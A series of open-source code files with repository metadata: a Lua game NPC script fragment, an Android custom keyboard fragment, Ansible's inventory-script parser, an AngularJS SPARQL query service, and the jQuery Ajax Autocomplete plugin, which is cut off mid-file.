player:tradeComplete();
SpawnMob(17580337,300):updateEnmity(player);
end
end
end;
-----------------------------------
-- onTrigger Action
-----------------------------------
function onTrigger(player,npc)
player:messageSpecial(NOTHING_OUT_OF_ORDINARY);
end;
-----------------------------------
-- onEventUpdate
-----------------------------------
function onEventUpdate(player,csid,option)
--printf("CSID2: %u",csid);
--printf("RESULT2: %u",option);
end;
-----------------------------------
-- onEventFinish
-----------------------------------
function onEventFinish(player,csid,option)
--printf("CSID: %u",csid);
--printf("RESULT: %u",option);
end; | gpl-3.0 |
Dnet3/CustomAndroidOneSheeld | oneSheeld/src/main/java/com/integreight/onesheeld/shields/fragments/KeyboardFragment.java | 13986 | package com.integreight.onesheeld.shields.fragments;
import android.graphics.Point;
import android.os.Build;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.text.Editable;
import android.text.TextWatcher;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.EditText;
import com.integreight.onesheeld.R;
import com.integreight.onesheeld.shields.ShieldFragmentParent;
import com.integreight.onesheeld.shields.controller.KeyboardShield;
import com.integreight.onesheeld.utils.Log;
public class KeyboardFragment extends ShieldFragmentParent<KeyboardFragment>
implements OnClickListener {
private Button mBSpace, mBenter, mBack, mBChange, mNum;
private boolean isEdit1 = true;
private String mUpper = "upper", mLower = "lower";
private int w, mWindowWidth;
private String sL[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w",
"x", "y", "z", "ç", "à", "é", "è", "û", "î"};
private String cL[] = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
"K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W",
"X", "Y", "Z", "ç", "à", "é", "è", "û", "î"};
private String nS[] = {"!", ")", "'", "#", "3", "$", "%", "&", "8", "*",
"?", "/", "+", "-", "9", "0", "1", "4", "@", "5", "7", "(", "2",
"\"", "6", "_", "=", "]", "[", "<", ">", "|"};
private Button mB[] = new Button[32];
EditText mEt1;
Editable mytext;
private KeyboardEventHandler eventHandler;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
return inflater.inflate(R.layout.keyboard_shield_fragment_layout,
container, false);
}
@Override
public void doOnViewCreated(View v, @Nullable Bundle savedInstanceState) {
mEt1 = (EditText) v.findViewById(R.id.keyboard_myEdit_txt);
mEt1.setMaxLines(Integer.MAX_VALUE);
mEt1.setSingleLine(false);
hideDefaultKeyboard();
// adjusting key regarding window sizes
setKeys(v);
setFrow();
setSrow();
setTrow();
setForow();
mEt1.addTextChangedListener(new TextWatcher() {
@Override
public void onTextChanged(CharSequence s, int start, int before,
int count) {
}
@Override
public void beforeTextChanged(CharSequence s, int start, int count,
int after) {
}
@Override
public void afterTextChanged(Editable s) {
mytext = s;
Log.d("Keyboard::Character", s + "");
}
});
}
public void setKeyboardEventHandler(
KeyboardEventHandler keyboardEventHandler) {
this.eventHandler = keyboardEventHandler;
}
private void initializeFirmata() {
if (getApplication().getRunningShields().get(getControllerTag()) == null) {
getApplication().getRunningShields().put(getControllerTag(),
new KeyboardShield(activity, getControllerTag()));
}
}
@Override
public void doOnResume() {
setKeyboardEventHandler(((KeyboardShield) getApplication()
.getRunningShields().get(getControllerTag()))
.getKeyboardEventHandler());
}
@Override
public void doOnServiceConnected() {
initializeFirmata();
}
public static interface KeyboardEventHandler {
void onKeyPressed(String myString);
void onEnterOrbspacepressed(char myChar);
}
@Override
public void onClick(View v) {
if (v == mBChange) {
if (mBChange.getTag().equals(mUpper)) {
changeSmallLetters();
changeSmallTags();
} else if (mBChange.getTag().equals(mLower)) {
changeCapitalLetters();
changeCapitalTags();
}
} else if (v != mBenter && v != mBack && v != mBChange && v != mNum) {
addText(v);
} else if (v == mBenter) {
// represent Enter button and send frame
int ascii = (int) '\n';
Log.d("KeyBoard", "char::ASCII =" + ascii);
addTextEnter('\n');
} else if (v == mBack) {
// represent backspace button and send frame
// addTextBSpace("\b");
int ascii = (int) '\b';
Log.d("KeyBoard", "char::ASCII =" + ascii);
addTextBSpace('\b');
} else if (v == mNum) {
String nTag = (String) mNum.getTag();
if (nTag.equals("num")) {
// show unused characters
mB[26].setVisibility(Button.VISIBLE);
mB[27].setVisibility(Button.VISIBLE);
mB[28].setVisibility(Button.VISIBLE);
mB[29].setVisibility(Button.VISIBLE);
mB[30].setVisibility(Button.VISIBLE);
mB[31].setVisibility(Button.VISIBLE);
changeSyNuLetters();
changeSyNuTags();
((ViewGroup) mBChange.getParent())
.setVisibility(Button.INVISIBLE);
}
if (nTag.equals("ABC")) {
// hidden unused characters
mB[26].setVisibility(Button.INVISIBLE);
mB[27].setVisibility(Button.INVISIBLE);
mB[28].setVisibility(Button.INVISIBLE);
mB[29].setVisibility(Button.INVISIBLE);
mB[30].setVisibility(Button.INVISIBLE);
mB[31].setVisibility(Button.INVISIBLE);
changeCapitalLetters();
changeCapitalTags();
}
}
}
private void hideDefaultKeyboard() {
activity.getWindow().setSoftInputMode(
WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
}
private void addText(View v) {
if (isEdit1 == true) {
String b = "";
b = (String) v.getTag();
if (b != null) {
// adding text in Edittext
// mEt.append(b);
Log.d("KeyBoard", "char =" + b);
int ascii = (int) b.charAt(0);
Log.d("KeyBoard", "char::ASCII =" + ascii);
eventHandler.onKeyPressed(b);
}
}
}
private void addTextEnter(char enterText) {
eventHandler.onEnterOrbspacepressed(enterText);
}
private void addTextBSpace(char bspaceText) {
eventHandler.onEnterOrbspacepressed(bspaceText);
}
private void changeSmallLetters() {
((ViewGroup) mBChange.getParent()).setVisibility(Button.VISIBLE);
for (int i = 0; i < sL.length; i++)
mB[i].setText(sL[i]);
mNum.setTag("12#");
}
private void changeSmallTags() {
for (int i = 0; i < sL.length; i++)
mB[i].setTag(sL[i]);
mBChange.setTag("lower");
mNum.setTag("num");
}
private void changeCapitalLetters() {
((ViewGroup) mBChange.getParent()).setVisibility(Button.VISIBLE);
for (int i = 0; i < cL.length; i++)
mB[i].setText(cL[i]);
mBChange.setTag("upper");
mNum.setText("12#");
}
private void changeCapitalTags() {
for (int i = 0; i < cL.length; i++)
mB[i].setTag(cL[i]);
mNum.setTag("num");
}
private void changeSyNuLetters() {
for (int i = 0; i < nS.length; i++)
mB[i].setText(nS[i]);
mNum.setText("ABC");
}
private void changeSyNuTags() {
for (int i = 0; i < nS.length; i++)
mB[i].setTag(nS[i]);
mNum.setTag("ABC");
}
private void setFrow() {
w = (mWindowWidth / 13);
w = w - 15;
mB[16].setWidth(w);
mB[22].setWidth(w + 3);
mB[4].setWidth(w);
mB[17].setWidth(w);
mB[19].setWidth(w);
mB[24].setWidth(w);
mB[20].setWidth(w);
mB[8].setWidth(w);
mB[14].setWidth(w);
mB[15].setWidth(w);
mB[16].setHeight(50);
mB[22].setHeight(50);
mB[4].setHeight(50);
mB[17].setHeight(50);
mB[19].setHeight(50);
mB[24].setHeight(50);
mB[20].setHeight(50);
mB[8].setHeight(50);
mB[14].setHeight(50);
mB[15].setHeight(50);
}
private void setSrow() {
w = (mWindowWidth / 10);
mB[0].setWidth(w);
mB[18].setWidth(w);
mB[3].setWidth(w);
mB[5].setWidth(w);
mB[6].setWidth(w);
mB[7].setWidth(w);
mB[26].setWidth(w);
mB[9].setWidth(w);
mB[10].setWidth(w);
mB[11].setWidth(w);
mB[26].setWidth(w);
mB[0].setHeight(50);
mB[18].setHeight(50);
mB[3].setHeight(50);
mB[5].setHeight(50);
mB[6].setHeight(50);
mB[7].setHeight(50);
mB[9].setHeight(50);
mB[10].setHeight(50);
mB[11].setHeight(50);
mB[26].setHeight(50);
}
private void setTrow() {
w = (mWindowWidth / 12);
mB[25].setWidth(w);
mB[23].setWidth(w);
mB[2].setWidth(w);
mB[21].setWidth(w);
mB[1].setWidth(w);
mB[13].setWidth(w);
mB[12].setWidth(w);
mB[27].setWidth(w);
mB[28].setWidth(w);
mBack.setWidth(w);
mB[25].setHeight(50);
mB[23].setHeight(50);
mB[2].setHeight(50);
mB[21].setHeight(50);
mB[1].setHeight(50);
mB[13].setHeight(50);
mB[12].setHeight(50);
mB[27].setHeight(50);
mB[28].setHeight(50);
mBack.setHeight(50);
}
private void setForow() {
w = (mWindowWidth / 10);
mBSpace.setWidth(w * 4);
mBSpace.setHeight(50);
mB[29].setWidth(w);
mB[29].setHeight(50);
mB[30].setWidth(w);
mB[30].setHeight(50);
mB[31].setHeight(50);
mB[31].setWidth(w);
mBenter.setWidth(w + (w / 1));
mBenter.setHeight(50);
}
private void setKeys(View v) {
try {
DisplayMetrics displaymetrics = new DisplayMetrics();
activity.getWindow().getWindowManager().getDefaultDisplay()
.getMetrics(displaymetrics);
mWindowWidth = displaymetrics.widthPixels;
} catch (Exception ignored) {
}
// includes window decorations (statusbar bar/menu bar)
if (Build.VERSION.SDK_INT >= 17)
try {
Point realSize = new Point();
Display.class.getMethod("getRealSize", Point.class).invoke(
activity.getWindow().getWindowManager()
.getDefaultDisplay(), realSize);
mWindowWidth = realSize.x;
} catch (Exception ignored) {
} // getting
// window
// height
// getting ids from xml files
mB[0] = (Button) v.findViewById(R.id.xA);
mB[1] = (Button) v.findViewById(R.id.xB);
mB[2] = (Button) v.findViewById(R.id.xC);
mB[3] = (Button) v.findViewById(R.id.xD);
mB[4] = (Button) v.findViewById(R.id.xE);
mB[5] = (Button) v.findViewById(R.id.xF);
mB[6] = (Button) v.findViewById(R.id.xG);
mB[7] = (Button) v.findViewById(R.id.xH);
mB[8] = (Button) v.findViewById(R.id.xI);
mB[9] = (Button) v.findViewById(R.id.xJ);
mB[10] = (Button) v.findViewById(R.id.xK);
mB[11] = (Button) v.findViewById(R.id.xL);
mB[12] = (Button) v.findViewById(R.id.xM);
mB[13] = (Button) v.findViewById(R.id.xN);
mB[14] = (Button) v.findViewById(R.id.xO);
mB[15] = (Button) v.findViewById(R.id.xP);
mB[16] = (Button) v.findViewById(R.id.xQ);
mB[17] = (Button) v.findViewById(R.id.xR);
mB[18] = (Button) v.findViewById(R.id.xS);
mB[19] = (Button) v.findViewById(R.id.xT);
mB[20] = (Button) v.findViewById(R.id.xU);
mB[21] = (Button) v.findViewById(R.id.xV);
mB[22] = (Button) v.findViewById(R.id.xW);
mB[23] = (Button) v.findViewById(R.id.xX);
mB[24] = (Button) v.findViewById(R.id.xY);
mB[25] = (Button) v.findViewById(R.id.xZ);
mB[26] = (Button) v.findViewById(R.id.xS1);
mB[27] = (Button) v.findViewById(R.id.xS2);
mB[28] = (Button) v.findViewById(R.id.xS3);
mB[29] = (Button) v.findViewById(R.id.xS4);
mB[30] = (Button) v.findViewById(R.id.xS5);
mB[31] = (Button) v.findViewById(R.id.xS6);
mBSpace = (Button) v.findViewById(R.id.xSpace);
mBenter = (Button) v.findViewById(R.id.xDone);
mBChange = (Button) v.findViewById(R.id.xChange);
mBack = (Button) v.findViewById(R.id.xBack);
mNum = (Button) v.findViewById(R.id.xNum);
for (int i = 0; i < mB.length; i++)
mB[i].setOnClickListener(this);
mBSpace.setOnClickListener(this);
mBenter.setOnClickListener(this);
mBack.setOnClickListener(this);
mBChange.setOnClickListener(this);
mNum.setOnClickListener(this);
// Hidden unused characters
mB[26].setVisibility(Button.INVISIBLE);
mB[27].setVisibility(Button.INVISIBLE);
mB[28].setVisibility(Button.INVISIBLE);
mB[29].setVisibility(Button.INVISIBLE);
mB[30].setVisibility(Button.INVISIBLE);
mB[31].setVisibility(Button.INVISIBLE);
}
}
| gpl-3.0 |
mcsalgado/ansible | lib/ansible/inventory/script.py | 6432 | # (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#############################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import subprocess
import sys
from collections import Mapping
from six import iteritems
from ansible import constants as C
from ansible.errors import *
from ansible.inventory.host import Host
from ansible.inventory.group import Group
from ansible.module_utils.basic import json_dict_bytes_to_unicode
class InventoryScript:
''' Host inventory parser for ansible using external inventory scripts. '''
def __init__(self, loader, groups=dict(), filename=C.DEFAULT_HOST_LIST):
self._loader = loader
self.groups = groups
# Support inventory scripts that are not prefixed with some
# path information but happen to be in the current working
# directory when '.' is not in PATH.
self.filename = os.path.abspath(filename)
cmd = [ self.filename, "--list" ]
try:
sp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except OSError as e:
raise AnsibleError("problem running %s (%s)" % (' '.join(cmd), e))
(stdout, stderr) = sp.communicate()
if sp.returncode != 0:
raise AnsibleError("Inventory script (%s) had an execution error: %s " % (filename,stderr))
self.data = stdout
# see comment about _meta below
self.host_vars_from_top = None
self._parse(stderr)
def _parse(self, err):
all_hosts = {}
# not passing from_remote because data from CMDB is trusted
try:
self.raw = self._loader.load(self.data)
except Exception as e:
sys.stderr.write(err + "\n")
raise AnsibleError("failed to parse executable inventory script results from {0}: {1}".format(self.filename, str(e)))
if not isinstance(self.raw, Mapping):
sys.stderr.write(err + "\n")
raise AnsibleError("failed to parse executable inventory script results from {0}: data needs to be formatted as a json dict".format(self.filename))
self.raw = json_dict_bytes_to_unicode(self.raw)
group = None
for (group_name, data) in self.raw.items():
# in Ansible 1.3 and later, a "_meta" subelement may contain
# a variable "hostvars" which contains a hash for each host
# if this "hostvars" exists at all then do not call --host for each
# host. This is for efficiency and scripts should still return data
# if called with --host for backwards compat with 1.2 and earlier.
if group_name == '_meta':
if 'hostvars' in data:
self.host_vars_from_top = data['hostvars']
continue
if group_name not in self.groups:
group = self.groups[group_name] = Group(group_name)
group = self.groups[group_name]
host = None
if not isinstance(data, dict):
data = {'hosts': data}
# is not those subkeys, then simplified syntax, host with vars
elif not any(k in data for k in ('hosts','vars')):
data = {'hosts': [group_name], 'vars': data}
if 'hosts' in data:
if not isinstance(data['hosts'], list):
raise AnsibleError("You defined a group \"%s\" with bad "
"data for the host list:\n %s" % (group_name, data))
for hostname in data['hosts']:
if not hostname in all_hosts:
all_hosts[hostname] = Host(hostname)
host = all_hosts[hostname]
group.add_host(host)
if 'vars' in data:
if not isinstance(data['vars'], dict):
raise AnsibleError("You defined a group \"%s\" with bad "
"data for variables:\n %s" % (group_name, data))
for k, v in iteritems(data['vars']):
group.set_variable(k, v)
# Separate loop to ensure all groups are defined
for (group_name, data) in self.raw.items():
if group_name == '_meta':
continue
if isinstance(data, dict) and 'children' in data:
for child_name in data['children']:
if child_name in self.groups:
self.groups[group_name].add_child_group(self.groups[child_name])
# Finally, add all top-level groups as children of 'all'.
# We exclude ungrouped here because it was already added as a child of
# 'all' at the time it was created.
for group in self.groups.values():
if group.depth == 0 and group.name not in ('all', 'ungrouped'):
self.groups['all'].add_child_group(group)
def get_host_variables(self, host):
""" Runs <script> --host <hostname> to determine additional host variables """
if self.host_vars_from_top is not None:
got = self.host_vars_from_top.get(host.name, {})
return got
cmd = [self.filename, "--host", host.name]
try:
sp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except OSError as e:
raise AnsibleError("problem running %s (%s)" % (' '.join(cmd), e))
(out, err) = sp.communicate()
if out.strip() == '':
return dict()
try:
return json_dict_bytes_to_unicode(self._loader.load(out))
except ValueError:
raise AnsibleError("could not parse post variable response: %s, %s" % (cmd, out))
| gpl-3.0 |
DanielReid/addis-core | src/main/webapp/resources/app/js/intervention/dosageService.js | 1330 | 'use strict';
define(['lodash', 'moment'], function(_, moment) {
var dependencies = ['$http', 'SparqlResource'];
var DosageService = function($http, SparqlResource) {
var queryUnits = SparqlResource.get('queryUnits.sparql');
function deFusekify(data) {
var json = JSON.parse(data);
var bindings = json.results.bindings;
return _.map(bindings, function(binding) {
return _.fromPairs(_.map(_.toPairs(binding), function(obj) {
return [obj[0], obj[1].value];
}));
});
}
function get(userUid, datasetUuid, datasetVersionUuid) {
return queryUnits.then(function(query) {
var restPath = '/users/' + userUid + '/datasets/' + datasetUuid;
if (datasetVersionUuid) {
restPath = restPath + '/versions/' + datasetVersionUuid;
}
return $http.get(
restPath + '/query', {
params: {
query: query
},
headers: {
Accept: 'application/sparql-results+json'
},
transformResponse: function(data) {
return deFusekify(data);
}
});
}).then(function(response) {
return response.data;
});
}
return {
get: get
};
};
return dependencies.concat(DosageService);
});
| gpl-3.0 |
Rahber/pncom | assets/js/complete.js | 23873 | /**
* Ajax Autocomplete for jQuery, version 1.2.7
* (c) 2013 Tomas Kirda
*
* Ajax Autocomplete for jQuery is freely distributable under the terms of an MIT-style license.
* For details, see the web site: http://www.devbridge.com/projects/autocomplete/jquery/
*
*/
/*jslint browser: true, white: true, plusplus: true */
/*global define, window, document, jQuery */
// Expose plugin as an AMD module if AMD loader is present:
(function (factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else {
// Browser globals
factory(jQuery);
}
}(function ($) {
'use strict';
var
utils = (function () {
return {
escapeRegExChars: function (value) {
return value.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
},
createNode: function (html) {
var div = document.createElement('div');
div.innerHTML = html;
return div.firstChild;
}
};
}()),
keys = {
ESC: 27,
TAB: 9,
RETURN: 13,
LEFT: 37,
UP: 38,
RIGHT: 39,
DOWN: 40
};
function Autocomplete(el, options) {
var noop = function () { },
that = this,
defaults = {
autoSelectFirst: false,
appendTo: 'body',
serviceUrl: null,
lookup: null,
onSelect: null,
width: 'auto',
minChars: 1,
maxHeight: 300,
deferRequestBy: 0,
params: {},
formatResult: Autocomplete.formatResult,
delimiter: null,
zIndex: 9999,
type: 'GET',
noCache: false,
onSearchStart: noop,
onSearchComplete: noop,
containerClass: 'autocomplete-suggestions',
tabDisabled: false,
dataType: 'text',
currentRequest: null,
lookupFilter: function (suggestion, originalQuery, queryLowerCase) {
return suggestion.value.toLowerCase().indexOf(queryLowerCase) !== -1;
},
paramName: 'query',
transformResult: function (response) {
return typeof response === 'string' ? $.parseJSON(response) : response;
}
};
// Shared variables:
that.element = el;
that.el = $(el);
that.suggestions = [];
that.badQueries = [];
that.selectedIndex = -1;
that.currentValue = that.element.value;
that.intervalId = 0;
that.cachedResponse = [];
that.onChangeInterval = null;
that.onChange = null;
that.isLocal = false;
that.suggestionsContainer = null;
that.options = $.extend({}, defaults, options);
that.classes = {
selected: 'autocomplete-selected',
suggestion: 'autocomplete-suggestion'
};
that.hint = null;
that.hintValue = '';
that.selection = null;
// Initialize and set options:
that.initialize();
that.setOptions(options);
}
Autocomplete.utils = utils;
$.Autocomplete = Autocomplete;
Autocomplete.formatResult = function (suggestion, currentValue) {
var pattern = '(' + utils.escapeRegExChars(currentValue) + ')';
return suggestion.value.replace(new RegExp(pattern, 'gi'), '<strong>$1<\/strong>');
};
Autocomplete.prototype = {
killerFn: null,
initialize: function () {
var that = this,
suggestionSelector = '.' + that.classes.suggestion,
selected = that.classes.selected,
options = that.options,
container;
// Remove autocomplete attribute to prevent native suggestions:
that.element.setAttribute('autocomplete', 'off');
that.killerFn = function (e) {
if ($(e.target).closest('.' + that.options.containerClass).length === 0) {
that.killSuggestions();
that.disableKillerFn();
}
};
that.suggestionsContainer = Autocomplete.utils.createNode('<div class="' + options.containerClass + '" style="position: absolute; display: none;"></div>');
container = $(that.suggestionsContainer);
container.appendTo(options.appendTo);
// Only set width if it was provided:
if (options.width !== 'auto') {
container.width(options.width);
}
// Listen for mouse over event on suggestions list:
container.on('mouseover.autocomplete', suggestionSelector, function () {
that.activate($(this).data('index'));
});
// Deselect active element when mouse leaves suggestions container:
container.on('mouseout.autocomplete', function () {
that.selectedIndex = -1;
container.children('.' + selected).removeClass(selected);
});
// Listen for click event on suggestions list:
container.on('click.autocomplete', suggestionSelector, function () {
that.select($(this).data('index'));
});
that.fixPosition();
that.fixPositionCapture = function () {
if (that.visible) {
that.fixPosition();
}
};
$(window).on('resize', that.fixPositionCapture);
that.el.on('keydown.autocomplete', function (e) { that.onKeyPress(e); });
that.el.on('keyup.autocomplete', function (e) { that.onKeyUp(e); });
that.el.on('blur.autocomplete', function () { that.onBlur(); });
that.el.on('focus.autocomplete', function () { that.fixPosition(); });
that.el.on('change.autocomplete', function (e) { that.onKeyUp(e); });
},
onBlur: function () {
this.enableKillerFn();
},
setOptions: function (suppliedOptions) {
var that = this,
options = that.options;
$.extend(options, suppliedOptions);
that.isLocal = $.isArray(options.lookup);
if (that.isLocal) {
options.lookup = that.verifySuggestionsFormat(options.lookup);
}
// Adjust height, width and z-index:
$(that.suggestionsContainer).css({
'max-height': options.maxHeight + 'px',
'width': options.width + 'px',
'z-index': options.zIndex
});
},
clearCache: function () {
this.cachedResponse = [];
this.badQueries = [];
},
clear: function () {
this.clearCache();
this.currentValue = '';
this.suggestions = [];
},
disable: function () {
this.disabled = true;
},
enable: function () {
this.disabled = false;
},
fixPosition: function () {
var that = this,
offset;
// Don't adjsut position if custom container has been specified:
if (that.options.appendTo !== 'body') {
return;
}
offset = that.el.offset();
$(that.suggestionsContainer).css({
top: (offset.top + that.el.outerHeight()) + 'px',
left: offset.left + 'px'
});
},
enableKillerFn: function () {
var that = this;
$(document).on('click.autocomplete', that.killerFn);
},
disableKillerFn: function () {
var that = this;
$(document).off('click.autocomplete', that.killerFn);
},
killSuggestions: function () {
var that = this;
that.stopKillSuggestions();
that.intervalId = window.setInterval(function () {
that.hide();
that.stopKillSuggestions();
}, 300);
},
stopKillSuggestions: function () {
window.clearInterval(this.intervalId);
},
isCursorAtEnd: function () {
var that = this,
valLength = that.el.val().length,
selectionStart = that.element.selectionStart,
range;
if (typeof selectionStart === 'number') {
return selectionStart === valLength;
}
if (document.selection) {
range = document.selection.createRange();
range.moveStart('character', -valLength);
return valLength === range.text.length;
}
return true;
},
onKeyPress: function (e) {
var that = this;
// If suggestions are hidden and user presses arrow down, display suggestions:
if (!that.disabled && !that.visible && e.which === keys.DOWN && that.currentValue) {
that.suggest();
return;
}
if (that.disabled || !that.visible) {
return;
}
switch (e.which) {
case keys.ESC:
that.el.val(that.currentValue);
that.hide();
break;
case keys.RIGHT:
if (that.hint && that.options.onHint && that.isCursorAtEnd()) {
that.selectHint();
break;
}
return;
case keys.TAB:
if (that.hint && that.options.onHint) {
that.selectHint();
return;
}
// Fall through to RETURN
case keys.RETURN:
if (that.selectedIndex === -1) {
that.hide();
return;
}
that.select(that.selectedIndex);
if (e.which === keys.TAB && that.options.tabDisabled === false) {
return;
}
break;
case keys.UP:
that.moveUp();
break;
case keys.DOWN:
that.moveDown();
break;
default:
return;
}
// Cancel event if function did not return:
e.stopImmediatePropagation();
e.preventDefault();
},
onKeyUp: function (e) {
var that = this;
if (that.disabled) {
return;
}
switch (e.which) {
case keys.UP:
case keys.DOWN:
return;
}
clearInterval(that.onChangeInterval);
if (that.currentValue !== that.el.val()) {
that.findBestHint();
if (that.options.deferRequestBy > 0) {
// Defer lookup in case when value changes very quickly:
that.onChangeInterval = setInterval(function () {
that.onValueChange();
}, that.options.deferRequestBy);
} else {
that.onValueChange();
}
}
},
onValueChange: function () {
var that = this,
q;
if (that.selection) {
that.selection = null;
(that.options.onInvalidateSelection || $.noop)();
}
clearInterval(that.onChangeInterval);
that.currentValue = that.el.val();
q = that.getQuery(that.currentValue);
that.selectedIndex = -1;
if (q.length < that.options.minChars) {
that.hide();
} else {
that.getSuggestions(q);
}
},
getQuery: function (value) {
var delimiter = this.options.delimiter,
parts;
if (!delimiter) {
return $.trim(value);
}
parts = value.split(delimiter);
return $.trim(parts[parts.length - 1]);
},
getSuggestionsLocal: function (query) {
var that = this,
queryLowerCase = query.toLowerCase(),
filter = that.options.lookupFilter;
return {
suggestions: $.grep(that.options.lookup, function (suggestion) {
return filter(suggestion, query, queryLowerCase);
})
};
},
getSuggestions: function (q) {
var response,
that = this,
options = that.options,
serviceUrl = options.serviceUrl;
response = that.isLocal ? that.getSuggestionsLocal(q) : that.cachedResponse[q];
if (response && $.isArray(response.suggestions)) {
that.suggestions = response.suggestions;
that.suggest();
} else if (!that.isBadQuery(q)) {
options.params[options.paramName] = q;
if (options.onSearchStart.call(that.element, options.params) === false) {
return;
}
if ($.isFunction(options.serviceUrl)) {
serviceUrl = options.serviceUrl.call(that.element, q);
}
if(this.currentRequest != null) {
this.currentRequest.abort();
}
this.currentRequest = $.ajax({
url: serviceUrl,
data: options.ignoreParams ? null : options.params,
type: options.type,
dataType: options.dataType
}).done(function (data) {
that.processResponse(data, q);
options.onSearchComplete.call(that.element, q);
});
}
},
isBadQuery: function (q) {
var badQueries = this.badQueries,
i = badQueries.length;
while (i--) {
if (q.indexOf(badQueries[i]) === 0) {
return true;
}
}
return false;
},
hide: function () {
var that = this;
that.visible = false;
that.selectedIndex = -1;
$(that.suggestionsContainer).hide();
that.signalHint(null);
},
suggest: function () {
if (this.suggestions.length === 0) {
this.hide();
return;
}
var that = this,
formatResult = that.options.formatResult,
value = that.getQuery(that.currentValue),
className = that.classes.suggestion,
classSelected = that.classes.selected,
container = $(that.suggestionsContainer),
html = '',
width;
// Build suggestions inner HTML:
$.each(that.suggestions, function (i, suggestion) {
html += '<div class="' + className + '" data-index="' + i + '">' + formatResult(suggestion, value) + '</div>';
});
// If width is auto, adjust width before displaying suggestions,
// because if instance was created before input had width, it will be zero.
// Also it adjusts if input width has changed.
// -2px to account for suggestions border.
if (that.options.width === 'auto') {
width = that.el.outerWidth() - 2;
container.width(width > 0 ? width : 300);
}
container.html(html).show();
that.visible = true;
// Select first value by default:
if (that.options.autoSelectFirst) {
that.selectedIndex = 0;
container.children().first().addClass(classSelected);
}
that.findBestHint();
},
findBestHint: function () {
var that = this,
value = that.el.val().toLowerCase(),
bestMatch = null;
if (!value) {
return;
}
$.each(that.suggestions, function (i, suggestion) {
var foundMatch = suggestion.value.toLowerCase().indexOf(value) === 0;
if (foundMatch) {
bestMatch = suggestion;
}
return !foundMatch;
});
that.signalHint(bestMatch);
},
signalHint: function (suggestion) {
var hintValue = '',
that = this;
if (suggestion) {
hintValue = that.currentValue + suggestion.value.substr(that.currentValue.length);
}
if (that.hintValue !== hintValue) {
that.hintValue = hintValue;
that.hint = suggestion;
(this.options.onHint || $.noop)(hintValue);
}
},
verifySuggestionsFormat: function (suggestions) {
// If suggestions is string array, convert them to supported format:
if (suggestions.length && typeof suggestions[0] === 'string') {
return $.map(suggestions, function (value) {
return { value: value, data: null };
});
}
return suggestions;
},
processResponse: function (response, originalQuery) {
var that = this,
options = that.options,
result = options.transformResult(response, originalQuery);
result.suggestions = that.verifySuggestionsFormat(result.suggestions);
// Cache results if cache is not disabled:
if (!options.noCache) {
that.cachedResponse[result[options.paramName]] = result;
if (result.suggestions.length === 0) {
that.badQueries.push(result[options.paramName]);
}
}
// Display suggestions only if returned query matches current value:
if (originalQuery === that.getQuery(that.currentValue)) {
that.suggestions = result.suggestions;
that.suggest();
}
},
activate: function (index) {
var that = this,
activeItem,
selected = that.classes.selected,
container = $(that.suggestionsContainer),
children = container.children();
container.children('.' + selected).removeClass(selected);
that.selectedIndex = index;
if (that.selectedIndex !== -1 && children.length > that.selectedIndex) {
activeItem = children.get(that.selectedIndex);
$(activeItem).addClass(selected);
return activeItem;
}
return null;
},
selectHint: function () {
var that = this,
i = $.inArray(that.hint, that.suggestions);
that.select(i);
},
select: function (i) {
var that = this;
that.hide();
that.onSelect(i);
},
moveUp: function () {
var that = this;
if (that.selectedIndex === -1) {
return;
}
if (that.selectedIndex === 0) {
$(that.suggestionsContainer).children().first().removeClass(that.classes.selected);
that.selectedIndex = -1;
that.el.val(that.currentValue);
that.findBestHint();
return;
}
that.adjustScroll(that.selectedIndex - 1);
},
moveDown: function () {
var that = this;
if (that.selectedIndex === (that.suggestions.length - 1)) {
return;
}
that.adjustScroll(that.selectedIndex + 1);
},
adjustScroll: function (index) {
var that = this,
activeItem = that.activate(index),
offsetTop,
upperBound,
lowerBound,
heightDelta = 25;
if (!activeItem) {
return;
}
offsetTop = activeItem.offsetTop;
upperBound = $(that.suggestionsContainer).scrollTop();
lowerBound = upperBound + that.options.maxHeight - heightDelta;
if (offsetTop < upperBound) {
$(that.suggestionsContainer).scrollTop(offsetTop);
} else if (offsetTop > lowerBound) {
$(that.suggestionsContainer).scrollTop(offsetTop - that.options.maxHeight + heightDelta);
}
that.el.val(that.getValue(that.suggestions[index].value));
that.signalHint(null);
},
onSelect: function (index) {
var that = this,
onSelectCallback = that.options.onSelect,
suggestion = that.suggestions[index];
that.currentValue = that.getValue(suggestion.value);
that.el.val(that.currentValue);
that.signalHint(null);
that.suggestions = [];
that.selection = suggestion;
if ($.isFunction(onSelectCallback)) {
onSelectCallback.call(that.element, suggestion);
}
},
getValue: function (value) {
var that = this,
delimiter = that.options.delimiter,
currentValue,
parts;
if (!delimiter) {
return value;
}
currentValue = that.currentValue;
parts = currentValue.split(delimiter);
if (parts.length === 1) {
return value;
}
return currentValue.substr(0, currentValue.length - parts[parts.length - 1].length) + value;
},
dispose: function () {
var that = this;
that.el.off('.autocomplete').removeData('autocomplete');
that.disableKillerFn();
$(window).off('resize', that.fixPositionCapture);
